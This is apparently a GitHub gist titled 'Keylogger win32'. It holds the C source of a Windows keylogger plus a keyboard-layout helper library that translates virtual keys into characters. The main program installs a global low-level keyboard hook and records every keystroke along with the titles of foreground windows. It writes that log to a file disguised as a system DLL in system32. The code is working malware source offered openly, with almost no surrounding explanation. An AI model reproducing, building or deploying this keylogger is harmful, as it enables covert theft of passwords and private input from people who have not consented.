Created
May 20, 2017 12:09
-
-
Save gabonator/6196047e799b85cf0d93fae3a86c8990 to your computer and use it in GitHub Desktop.
Keylogger win32
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//******************************************************************* | |
// Program: kbdext.c | |
// Source files: kbdext.c kbdext.h | |
// Author: Marc-André Moreau | |
// Last update: September 18th, 2008 | |
// Description: Replacement API for Microsoft's ToUnicode() function | |
// You should load the current keyboard layout with loadKeyboardLayout() | |
// before calling convertVirtualKeyToWChar() | |
//******************************************************************* | |
#include "kbdext.h" | |
#include <stdio.h> | |
//typedef PKBDTABLES(CALLBACK* KbdLayerDescriptor)(VOID); | |
typedef PKBDTABLES (*KbdLayerDescriptor)(VOID); | |
typedef DWORD (*TT)(); | |
PVK_TO_WCHARS1 pVkToWchars1 = NULL; | |
PVK_TO_WCHARS2 pVkToWchars2 = NULL; | |
PVK_TO_WCHARS3 pVkToWchars3 = NULL; | |
PVK_TO_WCHARS4 pVkToWchars4 = NULL; | |
PVK_TO_WCHARS5 pVkToWchars5 = NULL; | |
PVK_TO_WCHARS6 pVkToWchars6 = NULL; | |
PVK_TO_WCHARS7 pVkToWchars7 = NULL; | |
PVK_TO_WCHARS8 pVkToWchars8 = NULL; | |
PVK_TO_WCHARS9 pVkToWchars9 = NULL; | |
PVK_TO_WCHARS10 pVkToWchars10 = NULL; | |
PMODIFIERS pCharModifiers; | |
PDEADKEY pDeadKey; | |
HINSTANCE loadKeyboardLayout() | |
{ | |
PKBDTABLES pKbd; | |
HINSTANCE kbdLibrary; | |
KbdLayerDescriptor pKbdLayerDescriptor = NULL; | |
char layoutFile[MAX_PATH]; | |
if(getKeyboardLayoutFile(layoutFile, sizeof(layoutFile)) == -1) | |
return NULL; | |
char systemDirectory[MAX_PATH]; | |
GetSystemDirectory(systemDirectory, MAX_PATH); | |
char kbdLayoutFilePath[MAX_PATH]; | |
_snprintf(kbdLayoutFilePath, MAX_PATH, "%s\\%s", systemDirectory, layoutFile); | |
kbdLibrary = LoadLibrary(kbdLayoutFilePath); | |
pKbdLayerDescriptor = (KbdLayerDescriptor)GetProcAddress(kbdLibrary, "KbdLayerDescriptor"); | |
if(pKbdLayerDescriptor != NULL) | |
pKbd = pKbdLayerDescriptor(); | |
else | |
return NULL; | |
int i = 0; | |
do | |
{ | |
INIT_PVK_TO_WCHARS(i, 1) | |
INIT_PVK_TO_WCHARS(i, 2) | |
INIT_PVK_TO_WCHARS(i, 3) | |
INIT_PVK_TO_WCHARS(i, 4) | |
INIT_PVK_TO_WCHARS(i, 5) | |
INIT_PVK_TO_WCHARS(i, 6) | |
INIT_PVK_TO_WCHARS(i, 7) | |
INIT_PVK_TO_WCHARS(i, 8) | |
INIT_PVK_TO_WCHARS(i, 9) | |
INIT_PVK_TO_WCHARS(i, 10) | |
i++; | |
} | |
while(pKbd->pVkToWcharTable[i].cbSize != 0); | |
pCharModifiers = pKbd->pCharModifiers; | |
pDeadKey = pKbd->pDeadKey; | |
return kbdLibrary; | |
} | |
int unloadKeyboardLayout(HINSTANCE kbdLibrary) | |
{ | |
if(kbdLibrary != 0) | |
return (FreeLibrary(kbdLibrary) != 0); | |
else | |
return 0; | |
} | |
int convertVirtualKeyToWChar(int virtualKey, PWCHAR outputChar, PWCHAR deadChar) | |
{ | |
int i = 0; | |
short state = 0; | |
int shift = -1; | |
int mod = 0; | |
int charCount = 0; | |
WCHAR baseChar; | |
WCHAR diacritic; | |
*outputChar = 0; | |
int capsLock = (GetKeyState(VK_CAPITAL) & 0x1); | |
do | |
{ | |
state = GetAsyncKeyState(pCharModifiers->pVkToBit[i].Vk); | |
if(pCharModifiers->pVkToBit[i].Vk == VK_SHIFT) | |
shift = i + 1; // Get modification number for Shift key | |
if(state & ~SHRT_MAX) | |
{ | |
if(mod == 0) | |
mod = i + 1; | |
else | |
mod = 0; // Two modifiers at the same time! | |
} | |
i++; | |
} | |
while(pCharModifiers->pVkToBit[i].Vk != 0); | |
SEARCH_VK_IN_CONVERSION_TABLE(1) | |
SEARCH_VK_IN_CONVERSION_TABLE(2) | |
SEARCH_VK_IN_CONVERSION_TABLE(3) | |
SEARCH_VK_IN_CONVERSION_TABLE(4) | |
SEARCH_VK_IN_CONVERSION_TABLE(5) | |
SEARCH_VK_IN_CONVERSION_TABLE(6) | |
SEARCH_VK_IN_CONVERSION_TABLE(7) | |
SEARCH_VK_IN_CONVERSION_TABLE(8) | |
SEARCH_VK_IN_CONVERSION_TABLE(9) | |
SEARCH_VK_IN_CONVERSION_TABLE(10) | |
if(*deadChar != 0) // I see dead characters... | |
{ | |
i = 0; | |
do | |
{ | |
baseChar = (WCHAR)pDeadKey[i].dwBoth; | |
diacritic = (WCHAR)(pDeadKey[i].dwBoth >> 16); | |
if((baseChar == *outputChar) && (diacritic == *deadChar)) | |
{ | |
*deadChar = 0; | |
*outputChar = (WCHAR)pDeadKey[i].wchComposed; | |
} | |
i++; | |
} | |
while(pDeadKey[i].dwBoth != 0); | |
} | |
return charCount; | |
} | |
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize) | |
{ | |
HKEY hKey; | |
DWORD varType = REG_SZ; | |
char kbdName[KL_NAMELENGTH]; | |
GetKeyboardLayoutName(kbdName); | |
char kbdKeyPath[51 + KL_NAMELENGTH]; | |
_snprintf(kbdKeyPath, 51 + KL_NAMELENGTH, | |
"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", kbdName); | |
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCTSTR)kbdKeyPath, 0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS) | |
return -1; | |
if(RegQueryValueEx(hKey, "Layout File", NULL, &varType, (LPBYTE)layoutFile, &bufferSize) != ERROR_SUCCESS) | |
return -1; | |
RegCloseKey(hKey); | |
return 1; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//******************************************************************* | |
// Program: kbdext.c | |
// Source file: kbdext.h | |
// Author: Marc-André Moreau | |
// Last update: September 16th, 2008 | |
// Description: Header File containing function prototypes as well as | |
// many definitions and macros for extended keyboard function. Some | |
// parts were taken directly from Microsoft's kbd.h header file that | |
// is shipped with the Windows Driver Development Kit. It was an | |
// inconvenient to download and install the whole Windows DDK only | |
// for kbd.h so I just copied everything that was needed here. | |
//******************************************************************* | |
#ifndef _KBD_EXT_ | |
#define _KBD_EXT_ | |
#include <windows.h> | |
#include <limits.h> | |
HINSTANCE loadKeyboardLayout(); | |
int unloadKeyboardLayout(HINSTANCE kbdLibrary); | |
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize); | |
int convertVirtualKeyToWChar(int virtualKey, PWCHAR out, PWCHAR buffer); | |
#if defined(BUILD_WOW6432) | |
#define KBD_LONG_POINTER __ptr64 | |
#else | |
#define KBD_LONG_POINTER | |
#endif | |
#define CAPLOK 0x01 | |
#define WCH_NONE 0xF000 | |
#define WCH_DEAD 0xF001 | |
typedef struct { | |
BYTE Vk; | |
BYTE ModBits; | |
} VK_TO_BIT, *KBD_LONG_POINTER PVK_TO_BIT; | |
typedef struct { | |
PVK_TO_BIT pVkToBit; | |
WORD wMaxModBits; | |
BYTE ModNumber[1]; | |
} MODIFIERS, *KBD_LONG_POINTER PMODIFIERS; | |
typedef struct _VSC_VK { | |
BYTE Vsc; | |
USHORT Vk; | |
} VSC_VK, *KBD_LONG_POINTER PVSC_VK; | |
typedef struct _VK_VSC { | |
BYTE Vk; | |
BYTE Vsc; | |
} VK_VSC, *KBD_LONG_POINTER PVK_VSC; | |
#define TYPEDEF_VK_TO_WCHARS(n) typedef struct _VK_TO_WCHARS##n { \ | |
BYTE VirtualKey; \ | |
BYTE Attributes; \ | |
WCHAR wch[n]; \ | |
} VK_TO_WCHARS##n, *KBD_LONG_POINTER PVK_TO_WCHARS##n; | |
TYPEDEF_VK_TO_WCHARS(1) | |
TYPEDEF_VK_TO_WCHARS(2) | |
TYPEDEF_VK_TO_WCHARS(3) | |
TYPEDEF_VK_TO_WCHARS(4) | |
TYPEDEF_VK_TO_WCHARS(5) | |
TYPEDEF_VK_TO_WCHARS(6) | |
TYPEDEF_VK_TO_WCHARS(7) | |
TYPEDEF_VK_TO_WCHARS(8) | |
TYPEDEF_VK_TO_WCHARS(9) | |
TYPEDEF_VK_TO_WCHARS(10) | |
typedef struct _VK_TO_WCHAR_TABLE { | |
PVK_TO_WCHARS1 pVkToWchars; | |
BYTE nModifications; | |
BYTE cbSize; | |
} VK_TO_WCHAR_TABLE, *KBD_LONG_POINTER PVK_TO_WCHAR_TABLE; | |
typedef struct { | |
DWORD dwBoth; | |
WCHAR wchComposed; | |
USHORT uFlags; | |
} DEADKEY, *KBD_LONG_POINTER PDEADKEY; | |
#define TYPEDEF_LIGATURE(n) typedef struct _LIGATURE##n { \ | |
BYTE VirtualKey; \ | |
WORD ModificationNumber; \ | |
WCHAR wch[n]; \ | |
} LIGATURE##n, *KBD_LONG_POINTER PLIGATURE##n; | |
TYPEDEF_LIGATURE(1) | |
TYPEDEF_LIGATURE(2) | |
TYPEDEF_LIGATURE(3) | |
TYPEDEF_LIGATURE(4) | |
TYPEDEF_LIGATURE(5) | |
typedef struct { | |
BYTE vsc; | |
WCHAR *KBD_LONG_POINTER pwsz; | |
} VSC_LPWSTR, *KBD_LONG_POINTER PVSC_LPWSTR; | |
typedef WCHAR *KBD_LONG_POINTER DEADKEY_LPWSTR; | |
typedef struct tagKbdLayer { | |
PMODIFIERS pCharModifiers; | |
PVK_TO_WCHAR_TABLE pVkToWcharTable; | |
PDEADKEY pDeadKey; | |
PVSC_LPWSTR pKeyNames; | |
PVSC_LPWSTR pKeyNamesExt; | |
WCHAR *KBD_LONG_POINTER *KBD_LONG_POINTER pKeyNamesDead; | |
USHORT *KBD_LONG_POINTER pusVSCtoVK; | |
BYTE bMaxVSCtoVK; | |
PVSC_VK pVSCtoVK_E0; | |
PVSC_VK pVSCtoVK_E1; | |
DWORD fLocaleFlags; | |
BYTE nLgMax; | |
BYTE cbLgEntry; | |
PLIGATURE1 pLigature; | |
DWORD dwType; | |
DWORD dwSubType; | |
} KBDTABLES, *KBD_LONG_POINTER PKBDTABLES; | |
// Extended macros | |
#define INIT_PVK_TO_WCHARS(i, n) \ | |
if((pKbd->pVkToWcharTable[i].cbSize - 2) / 2 == n) \ | |
pVkToWchars##n = (PVK_TO_WCHARS##n)pKbd->pVkToWcharTable[i].pVkToWchars; \ | |
#define SEARCH_VK_IN_CONVERSION_TABLE(n) \ | |
i = 0; \ | |
if(pVkToWchars##n && (mod < n)) \ | |
{ \ | |
do \ | |
{ \ | |
if(pVkToWchars##n[i].VirtualKey == virtualKey) \ | |
{ \ | |
if((pVkToWchars##n[i].Attributes == CAPLOK) && capsLock) { \ | |
if(mod == shift) mod = 0; else mod = shift; } \ | |
*outputChar = pVkToWchars##n[i].wch[mod]; \ | |
charCount = 1; \ | |
if(*outputChar == WCH_NONE) { charCount = 0; } \ | |
else if(*outputChar == WCH_DEAD) \ | |
{ \ | |
*deadChar = pVkToWchars##n[i + 1].wch[mod]; \ | |
charCount = 0; \ | |
} \ | |
break;\ | |
} \ | |
i++; \ | |
} \ | |
while(pVkToWchars##n[i].VirtualKey != 0); \ | |
} \ | |
#endif // _KBD_EXT_ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//http://www.docdroppers.org/wiki/index.php?title=Writing_Keyloggers | |
#define _WIN32_WINNT 0x0400 | |
#include "kbdext.h" | |
#include <stdio.h> | |
#include <windows.h> | |
#include <time.h> | |
int nChar; | |
FILE* keylog; | |
WCHAR outputChar; | |
WCHAR deadChar; | |
HHOOK hKeyHook; | |
KBDLLHOOKSTRUCT kbdStruct; | |
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam) | |
{ | |
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) ) | |
{ | |
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam); | |
nChar = convertVirtualKeyToWChar(kbdStruct.vkCode, (PWCHAR)&outputChar, (PWCHAR)&deadChar); | |
if(nChar > 0) | |
{ | |
//WCHAR str[2] = {outputChar, 0}; | |
CHAR result[16] = {0}; | |
int nLen = WideCharToMultiByte( CP_UTF8, 0, &outputChar, 1, result, 15, NULL, NULL ); | |
if ( nLen > 0 ) | |
fwrite(result, nLen, 1, keylog); | |
} | |
} | |
return CallNextHookEx(hKeyHook, nCode, wParam, lParam); | |
} | |
void PutTimestamp(FILE *f, CHAR *msg) | |
{ | |
time_t rawtime; | |
struct tm * timeinfo; | |
CHAR strTimestamp[128]; | |
time ( &rawtime ); | |
timeinfo = localtime ( &rawtime ); | |
strftime( strTimestamp, 127, msg, timeinfo ); | |
fprintf( f, strTimestamp ); | |
} | |
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow) | |
{ | |
keylog = fopen("C:\\windows\\system32\\uafx32.dll", "a"); | |
fprintf(keylog, "===========================\n"); | |
PutTimestamp(keylog, "%d%m%y_%H%M%S - Service started\n"); | |
deadChar = 0; | |
HINSTANCE kbdLibrary = loadKeyboardLayout(); | |
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0); | |
MSG message; | |
HWND hWindow = NULL; | |
CHAR strWindowName[256] = {0}; | |
LONG lTick = 0; | |
while (1) | |
{ | |
if ( PeekMessage(&message, NULL, 0, 0, FALSE ) ) | |
{ | |
while(GetMessage(&message, NULL, 0, 0)) | |
{ | |
TranslateMessage(&message); | |
DispatchMessage(&message); | |
} | |
} else | |
{ | |
Sleep(1); | |
HWND hNew = GetForegroundWindow(); | |
if ( hNew != hWindow ) | |
{ | |
hWindow = hNew; | |
GetWindowText(hWindow, strWindowName, 255); | |
PutTimestamp(keylog, "\n%d%m%y_%H%M%S - "); | |
fprintf(keylog, "Window [%s]\n", strWindowName); | |
} | |
if ( GetTickCount() - lTick > 10000 ) | |
{ | |
fflush(keylog); | |
lTick = GetTickCount(); | |
} | |
} | |
} | |
UnhookWindowsHookEx(hKeyHook); | |
PutTimestamp(keylog, "%d%m%y_%H%M%S - Service stopped\n"); | |
fclose(keylog); | |
return 0; | |
} |
This is based on an article that has all but disappeared from the internet. You can still find a couple of copies on the wayback machine and someones wordpress site:
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
hi
do we have any documentation for its testing?